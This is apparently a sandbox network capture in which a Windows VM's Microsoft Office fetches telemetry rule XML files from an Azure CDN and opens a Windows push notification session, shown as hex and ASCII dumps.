2024-12-02 06:37:21 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:21 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 03f3685a-b01e-0097-2663-444f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063721Z-174f7845968glpgnhC1EWR7uec000000146g000000007vuv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:21 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:21 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:21 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 5e64b7e0-d01e-0049-7eb8-42e7dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063721Z-174f7845968pght8hC1EWRyvxg000000077g0000000045u3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:21 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:21 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:21 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:21 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: e8c785f0-901e-0048-4ed4-43b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063721Z-174f78459685726chC1EWRsnbg00000014300000000071ts x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:21 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:23 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 79414491-c01e-0014-1360-43a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063723Z-174f784596886s2bhC1EWR743w00000013zg00000000e24n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:23 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49725	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:23 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 12c713eb-c01e-0034-6a92-432af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063723Z-174f7845968cdxdrhC1EWRg0en000000140g00000000671h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:23 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:23 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7b1224ad-601e-0097-014f-44f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063723Z-174f7845968swgbqhC1EWRmnb4000000144g00000000az9u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:23 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:24 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:23 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 1383167b-401e-008c-1f3c-4486c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063723Z-174f7845968pf68xhC1EWRr4h80000001490000000006ykg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:24 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:23 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 9f28f116-c01e-008d-51c7-432eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063723Z-174f7845968frfdmhC1EWRxxbw0000001460000000001uvy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-02 06:37:24 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49730	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:25 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6e 2f 36 4c 64 38 6f 38 55 45 6d 58 6e 79 41 75 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 34 61 64 62 62 32 39 38 63 33 34 37 34 64 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: n/6Ld8o8UEmXnyAu.1Context: a4adbb298c3474d6
2024-12-02 06:37:25 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-02 06:37:25 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6e 2f 36 4c 64 38 6f 38 55 45 6d 58 6e 79 41 75 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 34 61 64 62 62 32 39 38 63 33 34 37 34 64 36 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 2f 59 7a 76 43 38 67 54 62 2f 6d 73 4c 2b 59 51 4e 38 6f 2f 31 72 67 68 4e 79 7a 63 4e 69 35 76 6c 65 57 31 71 77 67 51 44 70 56 57 76 46 48 43 66 77 76 57 6e 35 36 4c 6d 51 71 43 31 34 63 51 38 73 55 44 54 54 4a 6c 6f 7a 6a 30 68 6a 64 77 6e 6a 34 70 43 76 71 4c 79 51 67 4b 41 53 65 51 51 61 79 42 58 6e 47 2f 4c 45 66 2f Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: n/6Ld8o8UEmXnyAu.2Context: a4adbb298c3474d6<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAb/YzvC8gTb/msL+YQN8o/1rghNyzcNi5vleW1qwgQDpVWvFHCfwvWn56LmQqC14cQ8sUDTTJlozj0hjdwnj4pCvqLyQgKASeQQayBXnG/LEf/
2024-12-02 06:37:25 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6e 2f 36 4c 64 38 6f 38 55 45 6d 58 6e 79 41 75 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 34 61 64 62 62 32 39 38 63 33 34 37 34 64 36 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: n/6Ld8o8UEmXnyAu.3Context: a4adbb298c3474d6<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-02 06:37:25 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-02 06:37:25 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 50 2f 56 73 7a 34 52 69 4f 6b 43 61 33 6a 51 47 4e 64 49 6f 57 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: P/Vsz4RiOkCa3jQGNdIoWA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49732	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:25 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 6ab56c84-d01e-008e-48c7-43387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063726Z-174f7845968frfdmhC1EWRxxbw0000001450000000003ppu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.6	49734	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:25 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:26 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: e1f54f45-601e-0097-18a1-42f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063726Z-174f78459684db9fhC1EWRc7g4000000042g0000000058u2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
